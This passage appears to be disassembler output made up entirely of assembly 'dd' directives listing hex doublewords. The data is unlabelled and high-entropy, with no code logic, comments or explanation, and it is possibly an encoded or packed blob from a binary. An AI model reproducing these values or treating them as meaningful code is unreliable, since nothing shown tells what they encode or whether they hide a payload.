		dd 30160061h, 7D134CBh,	5C2C557Dh, 0A43D442Dh, 9D018CA9h
		dd 0C134404Eh, 40807824h, 0A012648Eh, 3800435Eh, 0A74F6F71h
		dd 0B1F0035Fh, 0D5E1C459h, 345EBE8h, 0B43A1600h, 0F51C3DDCh
		dd 30582524h, 161700Eh,	0E402C383h, 0B800F734h,	41C0EC37h
		dd 626DBC8Fh, 0A0E32914h, 62443CC8h, 9EF4DF50h,	11E170Eh
		dd 0CAC200F0h, 24C85640h, 8004A702h, 0B1F83665h, 7263D5Dh
		dd 0F90C7124h, 0DBB0D1h, 0B726CB11h, 0A95B2C95h, 0F3E4D507h
		dd 15B0A27Bh, 907FD06Dh, 5C337564h, 0DE3DECC4h,	6044EEA6h
		dd 0ED067C2Bh, 339DF509h, 1294A742h, 7BA25080h,	8F050001h
		dd 4C570C1Ah, 4900C7EFh
		dd 0F9775422h, 2C659140h, 2D9180Bh, 16E068A5h, 0D0076478h
		dd 2F955CFCh, 0B2E830F0h, 297D0F4Ch, 8180E2DEh,	54AA4885h
		dd 85D30F3Dh, 6CFA6EFDh, 32989440h, 1285A24Ah, 40EE099Ch
		dd 61ED5F2Ch, 75383DC2h, 0B605803Ch, 0A6012048h, 3AC90AB5h
		dd 0A32AF7h, 6FA8DFD5h,	791765DEh, 6A005DF2h, 0B3167FC3h
		dd 11AA0060h, 0D899D9D6h, 3A00BAD1h, 9F6CEC57h,	0E5869Ch
		dd 64971132h, 0DD217BF5h, 0CC93A3Fh, 0A0624945h, 0E076EF2Ch
		dd 6996FF00h, 0C322CE88h, 9BB14960h, 0A54531h, 0AE1F3935h
		dd 40BA6F3Bh, 22188700h, 0EACC81Bh, 0F44A5088h,	0C7CE0083h
		dd 6024C29Fh, 2701AE57h, 560F2D1Fh, 0A8CB8858h,	328548Eh
		dd 0BE0E90F9h, 82806273h, 78003ABCh, 9D2A7A4Dh,	344CD87h
		dd 0A2D7AD9Ah, 0CED042ECh, 0BA00435Ah, 0E47E413Eh, 9844E5Ch
		dd 0ACF1D2CDh, 11C8800h, 0F000CCB7h, 0BFD7FBC4h, 33FB5h
		dd 0AC176D7Ch, 52E13CDh, 9F24D909h, 27D4407Dh, 7EF60053h
		dd 2CE112FEh, 7C0740D6h, 14703872h, 0D2C0001Bh,	9E9F53ABh
		dd 44C0E97Ch, 0F7009423h, 0C9E77D6Ah, 7A446Eh, 0D63B63C1h
		dd 0B7C6C7A9h, 38F43E00h, 18D2CB31h, 0BA410785h, 603C5D47h
		dd 985E7277h, 5BC0D800h, 52DBDEB4h, 8B5C0020h, 0C808C4CAh
		dd 8D1E44E4h, 0E9C0CB49h, 0E664FDFBh, 0A19014F0h, 0D603F095h
		dd 0C7948CB6h, 0FC0F8A00h, 0C69E31DCh, 608200E3h, 0F557B123h
		dd 283F33A8h, 88070029h, 0FBCAA61h, 5917546h, 9FFBB868h
		dd 0E776C0D1h, 820350B5h, 968C601Ah, 0F078A8DFh, 0B4865CB9h
		dd 0BE931500h, 1DE4C55h, 7A619200h, 71D6D4F7h, 483C0007h
		dd 16E63505h, 0C5066988h, 73DE928Ch, 52200760h,	80CC284Bh
		dd 0CD91C003h, 0BC450B03h, 14B215EFh, 0ECD026DAh, 97C24409h
		dd 0A1954820h, 3802D773h, 0E70F2F5Eh, 0E47C687Bh, 2A68003Ch
		dd 7E11CEBFh, 8058D796h, 2C44D09h, 7C489BDEh, 63928EF0h
		dd 0C859EBBFh, 3B4BF2h,	4831782h, 0B2A5B5C8h, 57180F5h
		dd 2FD08F7h, 8CD8003Dh,	5B4512CDh, 4C023B29h, 53130744h
		dd 51506027h, 5CC5406Ah, 7FC88300h, 40DBC44Bh, 0FAF200EEh
		dd 6291F8E7h, 3800C20Eh, 1216FBC3h, 98AC4DC7h, 2EA61858h
		dd 76A0F67Ch, 8AD49D00h, 0BFA7B068h, 9B090ACh, 677E86F5h
		dd 0DED27780h, 5C00E08Eh, 9C82D719h, 0B8A77473h, 50AF61E5h
		dd 0C87701C5h, 0A375F5E7h, 7FA9A404h, 34C3C25Dh, 8A86C09Ah
		dd 53931318h, 5FE8000Dh, 0E2E95B9Eh, 0F7CD1D04h, 74C1808Eh
		dd 0A0647092h, 69AC1FE1h, 46F64BFEh, 0E2E4EC40h, 0B8015F00h
		dd 0ACBBFDDBh, 0CC88304Ah, 175B3F28h, 3A0174B8h, 8DAA3195h
		dd 5030A179h, 0CF8900D3h, 490AC0C8h, 0F4B26D90h, 2607D400h
		dd 0A73842AEh, 86E24C4Bh, 612A3200h, 0FBD96A8Ah, 0AF464C00h
		dd 0A8BF480Ch, 4DA20149h, 0A54284D5h, 117DE861h, 27F8C500h
		dd 216F7F6h, 733300BAh,	9D6A68BBh, 12005B48h, 0CB0AFDBDh
		dd 776074Eh, 37C2E66Fh,	3B802F02h, 0BFD41D2Bh, 3ED3F200h
		dd 0ED1B4FB6h, 83350744h, 71E069E8h, 829E490Bh,	80DA2A50h
		dd 0D7D840D2h, 9A8E00BCh, 22D37546h, 92006B10h,	0F2D8C949h
		dd 791DEBh, 63A0EFE8h, 0AD6C628Dh, 394D4500h, 43C4F2A7h
		dd 4036005Dh, 0ABE2AFD0h, 49001A01h, 9E674C48h,	0B0C73Dh
		dd 5420F4D2h, 7B2BD0B7h, 0CB830A1Fh, 80EE8449h,	4895B850h
		dd 0F92E1364h, 6E780008h, 83E582F2h, 0E5A190Eh,	94EF20BDh
		dd 0C0BC98h, 3DD7AF62h,	0BA291B44h, 0D4423500h,	2EA0777Fh
		dd 9A02021Dh, 0CAA5825Bh, 0B374CC48h, 452FCE78h, 0ED300061h
		dd 0F4525B97h, 268400AEh, 737D864Eh, 0B600C741h, 7F9C0BE0h
		dd 0BE51BCh, 54969957h,	91D986EEh, 0CF779009h, 1AB88110h
		dd 34793CD4h, 0C050E9A0h, 80A1703Ch, 0ABD6C11Ah, 17F8751h
		dd 0BF5A8A2Dh, 20435C88h, 0F95EA3Ah, 4A30016Ch,	0CAF86813h
		dd 62A9038Bh, 0E41AA212h, 0C2E8C7Ah, 778258ACh,	0E0BA64C0h
		dd 7B1C9Eh, 61B491D2h, 0FF6F93ABh, 9028D800h, 2D328642h
		dd 0C86200F4h, 0D4F037CCh, 9E30AD8Fh, 75D548EEh, 646903ABh
		dd 6AAA5559h, 94440AB0h, 134C7A00h, 41A442D9h, 0DC9079h
		dd 0B0A24E68h, 620CFB58h, 0C72939h, 967153CDh, 17F864Bh
		dd 0C633B5D7h, 6AC59705h, 2DF2AA0h, 0D19A6055h,	0E40D487h
		dd 0E89819CDh, 0AB4E8800h, 0E484A26h, 5D9B0060h, 0EA8C34D7h
		dd 0A34AF636h, 83E6240Bh, 0F81704B8h, 0D4DA0h, 450C3253h
		dd 8E39150Ah, 8025C63Ch, 7DDF61D4h, 0DCAB09h, 0F4522C97h
		dd 3B36578Fh, 0CDA7E500h, 6893BF15h, 44F4C59h, 0B85BC61Dh
		dd 0BE11F700h, 0A7E79FACh, 91415300h, 0E68DE966h, 0A1D60F7Fh
		dd 4C04CD3Fh, 0B7D8C0DDh, 0A42EC6E7h, 0DF0058DEh, 55074D5h
		dd 8AFE0C5Eh, 264C2FADh, 4E021C00h, 8584F49Dh, 40FB5F96h
		dd 7C8F0B0Ch, 0C000CD80h, 2DF7593Ah, 3E09EA68h,	3F00C463h
		dd 58902671h, 95F4DCC5h, 0B54FD100h, 0D736564Eh, 0BCAB00DDh
		dd 0C547AEA4h, 7F0071B6h, 2F294042h, 8D5035h, 9F9046FAh
		dd 0A5F1DEC0h, 0EB9E7F00h, 42CC1F5h, 53090051h,	5798035Ah
		dd 2D008677h, 43E8134Bh, 78DD0B94h, 9E8B0034h, 0A3917C64h
		dd 3A07D9A2h, 699C6FF3h, 74616380h, 2AB2027Bh, 9BCBCFA0h
		dd 7521F840h, 5CA2C73Ch, 769839C8h, 5E00D09Ah, 335F6E9Eh
		dd 4E7304h, 0E07A9AD0h,	758D282h, 0E98BC900h, 0B25514D6h
		dd 0D1F100B9h, 0DC79EE7Bh, 0AC54DEE1h, 0E212EFACh, 0B001726h
		dd 1342CF1Bh, 51B30497h, 0F0C62E0Fh, 0A101D94Ch, 3E8FDB4Dh
		dd 583C381Dh, 0C1A7E409h, 0FB2CD460h, 27765703h, 0A0615533h
		dd 676CE1A0h, 404021BAh, 0CB092F38h, 0D4483F30h, 2292D45h
		dd 0F86266D1h, 3868A47Ch, 30005563h, 0FB8C4090h, 0F0BB554h
		dd 0CE6E2E4Ah, 6238EB40h, 58C5AF16h, 0F880FDC5h, 14362EB6h
		dd 50EB3ECEh, 0A1C4EE01h, 0F1A3BA99h, 835C52E9h, 7C565B18h
		dd 57FC0C76h, 0AD40410Bh, 4B192900h, 8CF27D97h,	0DAA0052h
		dd 926AC337h, 4A1ED0C4h, 803B14BEh, 0C8F519EBh,	429F7h
		dd 4C5A7CC0h, 547B5F99h, 7200A2E4h, 3C0619C7h, 6F520Eh
		dd 0EC443A2Fh, 388BF514h, 50396B1Eh, 7EE1D00h, 3F9B467Bh
		dd 17C8E3C2h, 4B823800h, 58656094h, 629E8E04h, 49415AAh
		dd 0BE239280h, 998A00C4h, 4D982F17h, 0CEEA6BE8h, 89EE4C00h
		dd 0FBF9582Bh, 3ECA00E0h, 0BE212296h, 485272D8h, 2E4B1C84h
		dd 0C25BDEC0h, 2883A2h,	3F1226D3h, 3EA1F0B9h, 1182EA01h
		dd 76A5210Fh, 279DC1F3h, 194660h, 517DD441h, 7318368Dh
		dd 0B73F0C02h, 8026EAD3h, 5B1EE924h, 9D2F2A15h,	607276C4h
		dd 7C4BC9AAh, 0B5004054h, 0E5AE5056h, 1801C3Dh,	192DA63Eh
		dd 0F444F9DCh, 63A20C4h, 0B8C30B9Dh, 0C65848CBh, 744088CDh
		dd 930F45F2h, 17FE79Eh,	0D61A4A70h, 0AAC2002Fh,	7CD87490h
		dd 6D9A3Eh, 41AD8279h, 3E975F92h, 7F03A265h, 0C65E4491h
		dd 0B9F44EA8h, 5E77DA2Ch, 0C97E3E07h, 507CE5B0h, 0F86A00D1h
		dd 0DD9F599Bh, 4963085Dh, 0B8377118h, 7CB5E1A1h, 3B0D21AAh
		dd 44E26988h, 0F4E53127h, 11864308h, 22B4FF35h,	0E55F0CAFh
		dd 4F30FD02h, 0DD60DE0Fh, 21E48152h, 7CD06C2Eh,	0DF9F00CBh
		dd 0B7030E06h, 20C051C1h, 61DA0BC3h, 8650C801h,	97166583h
		dd 0DD39076Fh, 0FAAAB48h, 22E9A861h, 0C37AE1B1h, 0DCA95DE0h
		dd 71AC6031h, 66E09E53h
		dd 9F08A1DFh, 88C75FE0h, 9B3C932Bh, 63D3188Dh, 60674F60h
		dd 46C97942h, 0AE061C0Eh, 0E3FEDAAAh, 6E7018h, 738091B6h
		dd 7BD4DEC2h, 620168FEh, 0DF64612Ah, 0E6F0C1E2h, 50D9402Ch
		dd 0A2D4140Ch, 3D991029h, 0E7037DCEh, 88CA1AE4h, 19915900h
		dd 0D1072D6Bh, 0EC540E61h, 0F48C6020h, 0DB005098h, 0C0756B1Ah
		dd 0BB4C49h, 9A17B2A0h,	87415A44h, 0E4B978D8h, 9FCF0F8Ah
		dd 2B02E1C9h, 0BCC09C75h, 0C628E6CCh, 0CF00D888h, 932D5DB8h
		dd 305AE33Ch, 2C18A909h, 3454F56Fh, 70007C90h, 0E71E9F37h
		dd 32C04033h, 3608DBCFh, 0C511E4A0h, 4931EE9Fh,	0FE95486Fh
		dd 0E72FE900h, 41FCED03h, 0D0A7F793h, 763CF97Fh, 979200FAh
		dd 0E832BD26h, 661E3329h, 0BF00C130h, 606380BBh, 0CD8B00B5h
		dd 92CA931Eh, 0EAFAF53Eh, 0F2A1D0F7h, 0D9003B71h, 1B687121h
		dd 0A7679EFAh, 7918D404h, 0C0107390h, 185260A5h, 6FCA6253h
		dd 5472EC00h, 0E601104Dh, 0F68407F1h, 763DC15Ch, 7510284Bh
		dd 0B03C701Eh, 0BB74CEC0h, 0AE01797Bh, 3B341CCCh, 50603749h
		dd 74DD0011h, 1FF25719h, 5B008240h, 0CA45B0BDh,	6A8FEBh
		dd 79F563FEh, 7FEAACA3h, 1ED5043Dh, 0EC007A78h,	0CA18BED7h
		dd 3FFA00E5h, 1E2D1722h, 2774F5B6h, 0E31FF807h,	0AF20F0CDh
		dd 0F2053E83h, 650EACBh, 0DB9C3C7h, 2000B2E7h, 54960FDBh
		dd 271CDADh, 53B24801h,	0E6608F4Dh, 0AC3FFCF1h,	7FE50EAFh
		dd 67DE8087h, 1DC66CCEh, 40D738BEh, 58104EF4h, 3004DADh
		dd 6915AB4Ch, 15CE45Fh,	612BA036h, 0C8B0BC37h, 29B08458h
		dd 40F85B00h, 6DDF943Dh, 0E3FC00DBh, 8B67DC3Ah,	8F5C3526h
		dd 4FBA006Ch, 0E0A2CF04h, 0F85F0020h, 0D8D2D082h, 470058B1h
		dd 3DF1E5C2h, 1AE0C42h,	0B57BF63Eh, 70351525h, 0F500B8B8h
		dd 678EB2A9h, 0E0E63144h, 5C9EE65h, 84EFFBC0h, 4F80006h
		dd 270BEE9Dh, 329C6B00h, 0B310DFE3h, 0A4C807BBh, 0D0E2FC82h
		dd 473DD11Bh, 0CDEFC300h, 11371A3Eh, 80E5050Dh,	0C006665Bh
		dd 716D52E9h, 0FF9059DEh, 4B6480B7h, 0B2029A87h, 5111253Dh
		dd 0A220A048h, 0FE293116h, 0C7990126h, 0B3D86979h, 67A8FB3Ah
		dd 220024ACh, 0D444AE8Fh, 247E99A5h, 580196h, 26CC5DDAh
		dd 12321443h, 60CE70E4h, 2EB365h, 0EF340845h, 0B48A3C89h
		dd 8C20B660h, 4C94214h,	0A45E38F7h, 0F21C801Ah,	5002F56h
		dd 0A6236BDh, 0A2F703h,	0B0A9538Ch, 908D44BBh, 0E5C48E00h
		dd 5E2AD068h, 0A4871CE9h, 4DC580C6h, 4A815D97h,	5B99D200h
		dd 0C4750762h, 4468005Ch, 51FF567Ah, 0D0000639h, 54B1D61Fh
		dd 7328592h, 80E775B8h,	7C8EB0E1h, 9700C169h, 0BFC4E950h
		dd 0B27699h, 0F48981EEh, 1C481EF2h, 93B7A800h, 0EB4F577Fh
		dd 0EDE00D9h, 8FD49B38h, 8D3E9444h, 41D1474h, 9A8810CCh
		dd 9CDD5181h, 54DA20B7h, 0DA768700h, 0C9D5D464h, 0B36D0C80h
		dd 35195057h, 1F6AD906h, 3B10854Ah, 1E389CBDh, 8184DF9Ch
		dd 1FE655A7h, 0BE218045h, 0D4FEA3A1h, 0B3F8A05Ch, 6C130EAEh
		dd 40D32749h, 18B57E98h, 31009053h, 306103A3h, 3D5DC7ACh
		dd 12F6EA1Ah, 2C6D33BFh, 2A0E1220h, 4055D388h, 0E7E16EF2h
		dd 0A3BA0043h, 148F503Fh, 8E85BEAh, 0D5FB691Dh,	0C2327500h
		dd 4613F5h, 872617FEh, 17D1184h, 10058377h, 99D2C02h, 0DBC08C00h
		dd 7C5E970h, 2FEDF7A4h,	1B662078h, 0C672C319h, 5DCDA100h
		dd 814413FFh, 51CC009Eh, 0BFF4AE27h, 5B39E6FAh,	0A57E02A3h
		dd 6908E10Bh, 0C8226DB4h, 2DDB2C09h, 0B5AC54A0h, 490068A1h
		dd 12F6CC5Eh, 8E60CBh, 6F67C632h, 4CD9B21Eh, 49352F31h
		dd 780BBC4Fh, 6B00707Fh, 0AA09BAB3h, 0C1A4B8h, 0A9CAC820h
		dd 171F10F8h, 6F0E2C0Ah, 1461A029h, 4AE8DF89h, 1C9C9251h
		dd 0C48FA13Ch, 88099490h, 7C2689E8h, 0BE017017h, 3ABC4B3Bh
		dd 0F48031BBh, 4C9BD604h, 3307FF44h, 5EBA87E8h,	0C67EE1F0h
		dd 280800A3h, 14EAB717h, 1E122ED7h, 2A2A6h, 0B036CA3Ah
		dd 85684498h, 0C82C8C0h, 24DC9212h, 18C46150h, 59082920h
		dd 2C9B8900h, 25AD7656h, 7E6E00DAh, 78EA3440h, 6200F6B5h
		dd 0D6B3856Ah, 39C2E66Ch, 0A2A3E90h, 0BB9D23B4h, 0D46090CAh
		dd 0A8AAC7h, 4567DB90h,	60EF880Bh, 0D7169A00h, 99FAA1F2h
		dd 649230h, 86B18DBAh, 6F7BB476h, 0B0193D60h, 98209A8h
		dd 2D5CD103h, 475AE480h, 0BD013C0Bh, 0E19B6BA6h, 60346F8Fh
		dd 0F3440023h, 419613E5h, 9280CEC4h, 0B2E40036h, 0C35A4084h
		dd 54186612h, 0E818D67Ch, 5CCE01C0h, 0AC04D4E1h, 3006D0C3h
		dd 0DA78591Dh, 0C24ABAC2h, 0C83343B9h, 15FD8ECh, 244CEBBBh
		dd 0BB5D4D58h, 19C18728h, 0CC60A02Bh, 0FDF0AEh,	0A17FB364h
		dd 0F51671Ah, 2CFAB21Eh, 80DFCD89h, 3E644992h, 31C600A9h
		dd 8F38FEDh, 9800A5FBh,	0B95DD06h, 0E08BAEFCh, 0A4A0009Ch
		dd 2A6B4B16h, 0DE008C9Bh, 0AFB22D1Ch, 0E7CC784h, 4F5C5861h
		dd 0A082FA00h, 5213F014h, 74401375h, 1F6B41F2h,	0B3D13FE5h
		dd 348C50h, 5BD3ED4Ah, 6C913EE6h, 0F5FCAE00h, 2A068B49h
		dd 3A00079h, 0DB9BF004h, 0A61F762Eh, 8C40D440h,	90A7CD1Bh
		dd 0A56D00D6h, 2E0E937h, 8D02875Bh, 0B1C7C325h,	7F04C827h
		dd 0A84E0243h, 0DD9D196h, 7EA01F63h, 8B00ED8Fh,	9D703F4Bh
		dd 0F80A986h, 9FFA5995h, 0DA7B1860h, 9100491Fh,	47C7D3EEh
		dd 0B8751Ah, 0D4369EACh, 8534552Bh, 80E99200h, 0FB650F87h
		dd 72E0099h, 435033DFh,	600B93Dh, 0E2EDC4C2h, 0F851157h
		dd 0E3844548h, 8BBC44F3h, 0DB94D1B5h, 42D83456h, 25B43300h
		dd 0E5B76123h, 0F0E31D82h, 0F4F5CFD1h, 0D5EC0D00h, 0E2013107h
		dd 75C2DA77h, 40F672D9h, 176A44h, 0BC62AD12h, 5AC998E1h
		dd 28C4C712h, 8EB1A447h, 2A303FD0h, 0FC6D07AEh,	0F1D15D35h
		dd 0D037EC07h, 5F00CD1Dh, 520E4CE1h, 0EF2D85h, 6E80451Ch
		dd 8AA72E4Eh, 7595B600h, 0CBB5A3FDh, 0CC88C01Fh, 3C8E12BFh
		dd 0EC05D113h, 842C2106h, 0E5012678h, 8115E010h, 0DE00582Dh
		dd 863E8430h, 7B8EE4Bh,	0A8BEADA6h, 6ADC8093h, 0F0058C5h
		dd 0AB87B604h, 0B838E5A9h, 0DD1C0179h, 9D0C08F6h, 0C63020BEh
		dd 84BC5A59h, 0ACA01D86h, 0F95C0182h, 58D84025h, 0D0843112h
		dd 68B1689Fh, 0C84C6E80h, 2C51EA15h, 54CE40h, 0C1C535D1h
		dd 78C00D70h, 895DB6F0h, 0F32D0003h, 6C84AEE3h,	69CF2904h
		dd 0BE01F0D4h, 75540C87h, 0C454342Eh, 0CB2D710Ch, 0EA7411FDh
		dd 346A584Ch, 0BB80EA0Fh, 0C94862C6h, 0B6142101h, 830984B8h
		dd 13F11C28h, 36001F04h, 0A2C1286h, 0E82C019Eh,	0A29CC039h
		dd 201C857Fh, 1C9076B5h, 72495386h, 48233DB4h, 0D4E513h
		dd 2A6A6F5Ah, 0AD5C72F4h, 7C0C2CC6h, 368658h, 9C14EFC9h
		dd 0F6491E3Bh, 0E2020FFEh, 0EBFD0510h, 0F14E586h, 4420D2CCh
		dd 0ED42C035h, 8429D901h, 1B4F0CFh, 65A100D2h, 1800646Eh
		dd 0C02A6DDDh, 72F150F4h, 9E9000EAh, 68A46B8Dh,	0C3FE79A5h
		dd 402EDE01h, 7451099Fh, 73448E4h, 1658EAAEh, 2CA14067h
		dd 98E441F1h, 0B2816C00h, 4FBE208Ah, 0D69524F3h, 7E901E7Ch
		dd 78F5D487h, 0B77EB0B4h, 3904FF04h, 0B3839603h, 0FD6940C0h
		dd 75319847h, 98571CC6h, 292C400Eh, 0A185D25Fh,	35B7FF1Fh
		dd 0E62480BEh, 5775ECF8h, 8DB07FEh, 171950C3h, 2F4F00DAh
		dd 18B2D494h, 6483C11Eh, 0B192BA43h, 311B809Eh,	0F47D49FFh
		dd 28E3B604h
		dd 0F614C2ACh, 0ECB87BC1h, 2C0766D4h, 0B9D2119Eh, 0CB7A2A81h
		dd 388082F1h, 53272531h, 0A580AE58h, 1100EDF6h,	1B00A708h
		dd 0DD01FF8Dh, 0F0A28BF9h, 0C30B000Dh, 940C5D7Eh, 0FD00FCD6h
		dd 0D2ACC670h, 5CCCE7h,	0A937D360h, 890BF0FBh, 0CEB03Dh
		dd 9B1C17C2h, 1C1EF52Dh, 77285Fh, 0B862E747h, 0F0800DEEh
		dd 5A4A034Fh, 0BCCA6321h, 64407EE2h, 0FB0030A2h, 1B90C10Ah
		dd 1666E19Dh, 0EC4F36h,	0FA24DD14h, 4201B7D2h, 0AFACFB3Eh
		dd 0E820DB4Eh, 1BB00B8h, 0CA6F2E88h, 644A333Ch,	1E4FF800h
		dd 13DC49Fh, 0CE870CC1h, 0CE3F9BCBh, 0ECA55AE0h, 40DB6D01h
		dd 0EAC2FC41h, 165CCD4h, 9FA4F4E5h, 0DCBF564Fh,	7407F21Ch
		dd 0D22493Bh, 0D40397A1h, 13F412E0h, 0EDB448h, 58B7880h
		dd 7C903C0Dh, 3DD8C000h, 0AA5CD289h, 0A3D600E8h, 0BE31F911h
		dd 6E01F468h, 73EF38Eh,	0B5ECDB75h, 7B7091h, 871705A0h
		dd 2E3F8A58h, 3659A0C0h, 716C63h, 2030494Dh, 1B112580h
		dd 83A8213Dh, 0EBF61DD6h, 0F87D809Ah, 0FAA51DDCh, 14800059h
		dd 71C6D83h, 0D5D0AC00h, 5ECDED12h, 97F2FAh, 232E9E37h
		dd 0F8987716h, 575D1000h, 1C6940B3h, 78FCBCh, 96728F7Ah
		dd 8973A4D8h, 8500B572h, 80B282ABh, 42E93ACh, 748C5BE8h
		dd 1F7480F6h, 47005E24h, 608FF5DEh, 7C4510E1h, 48FE0FFFh
		dd 88008503h, 54675E78h, 0A6E7491Eh, 933B0738h,	97C0CA0Fh
		dd 13B6B8AFh, 40CB329Bh, 8C60B274h, 0A20351EDh,	99F24D2Bh
		dd 80BCD0CCh, 348D006Ah, 0D2BB0AE4h, 57004BAEh,	85AB7B81h
		dd 1C0C4A61h, 117D1h, 0D5030B5Ah, 2B24C9E3h, 1400104Eh
		dd 65BB1186h, 28597852h, 0BCE70Bh, 0B7452322h, 39681724h
		dd 94E39102h, 60CB3775h, 493BC37h, 6045B7ECh, 0A694A034h
		dd 9F98941Eh, 0C4F70680h, 0D865CDh, 34C5865Eh, 2100C84h
		dd 88B21A0Fh, 87F500E7h, 5C2388Ah, 0A7CC8C6Ah, 0A26891ABh
		dd 0C4E14047h, 0AC1D7A05h, 11677CD4h, 687574CCh, 65710FF1h
		dd 0D3A1A840h, 4238003Ah, 5FFD679Ah, 0B3097BDAh, 82D99F2Dh
		dd 0E09C112Ch, 0E27C78h, 55338EF1h, 0FDA493DAh,	663DFC0Fh
		dd 29CBE3D5h, 92B09138h, 4B007028h, 943CB101h, 5F006408h
		dd 77E975BEh, 0F5B93B99h, 0F6AE7670h, 802548CEh, 0D9180170h
		dd 3DB29963h, 0F907EF7Fh, 28074B77h, 8EB10B3Eh,	2EA7E000h
		dd 0F3A679h, 0C15BDBCEh, 1DA09CEBh, 0EC944E01h,	27210B42h
		dd 910C5880h, 0DC88D13Fh, 231DE300h, 8EDFA757h,	0FC990346h
		dd 8F22943Bh, 29ACA801h, 0A736D29Dh, 515870h, 0AC145AEh
		dd 78FB7A25h, 502C59FEh, 923E09B1h, 0C804F399h,	0D181D982h
		dd 0F370EED1h, 1882EFD6h, 0FDF80342h, 90ED050h,	0A70BDF7Bh
		dd 0BC9035DEh, 6F0631h,	0D0672F03h, 5C94F14Fh, 41B6400h
		dd 0E9BA11Ch, 0A0B29Dh,	0BE7FCEB8h, 0FD0B4066h,	68C4EF00h
		dd 533F7485h, 0FAC500F3h, 0EE57511Dh, 9600FDCDh, 17E2EF44h
		dd 3BD28B2Ah, 0AA1E82CFh, 24B8C350h, 0A690D133h, 6D13B336h
		dd 984083F5h, 4019584Eh, 0FC1D007Ah, 1CE7F8C7h,	0F0F57A8h
		dd 598D2A2h, 40B0EDAFh,	4C7F0A6Dh, 7E3DD6Ch, 41C14D2Dh
		dd 2472E6E9h, 0C200F370h, 6B85690Dh, 0B836D352h, 0FD248C3Bh
		dd 0DEF03006h, 5D461D07h, 1E407DE1h, 0D30D96h, 0DCAE6B86h
		dd 0D2EC6FC9h, 0BA307807h, 9BC016D4h, 304072ACh, 0DE5051DAh
		dd 922025E5h, 6F061h, 635919BDh, 706B2201h, 5EC56D0Ch
		dd 6045B8D4h, 0A1C140FEh, 67006004h, 0DABAF23Ch, 0FBA87Ah
		dd 506C4522h, 0F32AB1AFh, 81EC7038h, 723EE1C5h,	0B8826AD1h
		dd 8898E54Ah, 0F30EA8D8h, 0B83CF871h, 129DAE1h,	46D351AAh
		dd 0BA6B0A6Ch, 0DF2554h, 8CC13AECh, 0AE7000FCh,	4D85017Ch
		dd 8E0106FBh, 0D888E549h, 59889C45h, 40603E5Dh,	21D3708Bh
		dd 0F9987DAEh, 0C3F82721h, 8F924E58h, 2485D3E1h, 0CBE87528h
		dd 11F05033h, 517BB09Eh, 2D4C44F3h, 0D11E12EEh,	0C11C538Ch
		dd 6780BC6Ch, 2FDE223Bh, 259506E1h, 82C864Bh, 46217A60h
		dd 0F63EDE3Bh, 62E83050h, 0EA9B3651h, 0E41A99C0h, 2B9853Fh
		dd 99C69D0h, 3E036873h,	0EC209046h, 0ED2D07E6h,	66281EF1h
		dd 0F700A96Bh, 0AB4DB30h, 3D45E006h, 9A8012AAh,	510DA94Ch
		dd 1FB5BF2h, 66F0F647h,	6711CE39h, 57BEF5A0h, 0C000FE6Ch
		dd 5F79ACDFh, 7B3A9054h, 8B6600D3h, 4F6482Ah, 2B00A11Bh
		dd 10FBA5C1h, 4DDAB5h, 0E29CB4D1h, 0AF069322h, 8D01D60Ah
		dd 138308Ah, 8571E3BAh,	0C1D64DF0h, 5BC0C71Ch, 0FD593C54h
		dd 7C0D229h, 0E80617Bh,	1B1AC82h, 4118CA5h, 30024B88h
		dd 5539DB2Fh, 880884ECh, 0F85E8815h, 9418C100h,	79370944h
		dd 87B8A84Bh, 0A4AD4875h, 85466503h, 8304DE8h, 0BB0CB16Eh
		dd 124E38ACh, 9F7DDA02h, 70481588h, 80C68440h, 7669EE02h
		dd 25210F51h, 3EE0AC44h, 9DAB49BFh, 283AF005h, 0B42079A7h
		dd 4C6C09h, 5237BE80h, 0AC96665Bh, 0AB77F907h, 0B427FE53h
		dd 0EFE09AD1h, 6D04F98Bh, 0EAD6C4E8h, 40E9B218h, 3C56B510h
		dd 90548437h, 69DC3051h, 0BA9736E1h, 7D7C0EF4h,	805C1948h
		dd 776AD2E1h, 306C00E7h, 0A1843D36h, 0A6E816B8h, 82C80603h
		dd 9C4C1Ch, 5E553B1h, 3E438967h, 940000B0h, 0AF96AC1Fh
		dd 192473h, 0E9513988h,	72BF803Fh, 646B442Eh, 0C8B69B00h
		dd 1FE11DE2h, 115A106h,	0EACEFD66h, 71788787h, 0AB60F839h
		dd 4BCE1h, 635047F9h, 8FA4766Bh, 374FFF0Fh, 12E1588Dh
		dd 99876079h, 1C42E908h, 0F10058F2h, 73431E35h,	0E0D465F2h
		dd 6D7DDCh, 1D241BFFh, 1C886AC6h, 0B1085100h, 0A37BBAD1h
		dd 0D3E5004Fh, 6BFD19F9h, 7700BB55h, 96CF2D9Fh,	24982FF5h
		dd 992965h, 1F427A8Dh, 0BA666263h, 21AF08h, 5C5B0A0Eh
		dd 0E82196EAh, 393BC102h, 0D71F4693h, 7B797B00h, 0F900D25Dh
		dd 2FC9867Ah, 316A4D25h, 9321BB5Ch, 658E0158h, 9233F301h
		dd 1A009808h, 59AD7145h, 4BA61309h, 0CD400CCh, 2ECCB5Eh
		dd 0F542FD00h, 82A5B301h, 15E3032Eh, 5B81F39Bh,	0FC9A00Fh
		dd 7614C0F0h, 31F6C2E8h, 2C08D8B0h, 0ED209F9Bh,	0FFE2A505h
		dd 5ADE7681h, 0AC1C988Eh, 3890CCEAh, 95126006h,	3801A19Dh
		dd 1905D887h, 0CB20D53Ch, 0FC08CC24h, 0EF00EB21h, 5AE672D8h
		dd 7CB96C49h, 1152001Dh, 0B140E3A5h, 0C300B6FDh, 372B6788h
		dd 3C8C276h, 2D5FB8F8h,	0CC881BDh, 7400E357h, 9C1CFECDh
		dd 1C0604AFh, 0B48CA9h,	0B8766C4Ah, 9B00894Bh, 0E9EEE421h
		dd 73B6B25h, 2A0EA8FDh,	2DEC90EFh, 0FA00DBEBh, 0ED8651CEh
		dd 3594B1Eh, 90B44F93h,	318005BAh, 0A5002F46h, 0CC040B9Eh
		dd 5F93361h, 12E0B276h,	4046EA4h, 76FAC21Ah, 68C6DA6Ch
		dd 7C085206h, 0B3E321B9h, 51DB6100h, 81E1212Dh,	0CC1C4349h
		dd 8D860818h, 0F9C88938h, 182056h, 0C6CE6025h, 0C81D0A52h
		dd 0E2D1CA66h, 0B450CA09h, 0F95B0A18h, 693E1B4Ch, 0C8078A6h
		dd 1CA0A57Ah, 0FA63C9A1h, 43BED149h, 96D5018h, 0C9600818h
		dd 48408A6h, 0CC3EF90Fh, 44AD8AB1h, 57C99518h, 3308CA86h
		dd 42496320h, 81A9834h,	8F4B0C22h, 4C4A8A14h, 85DF9A0Fh
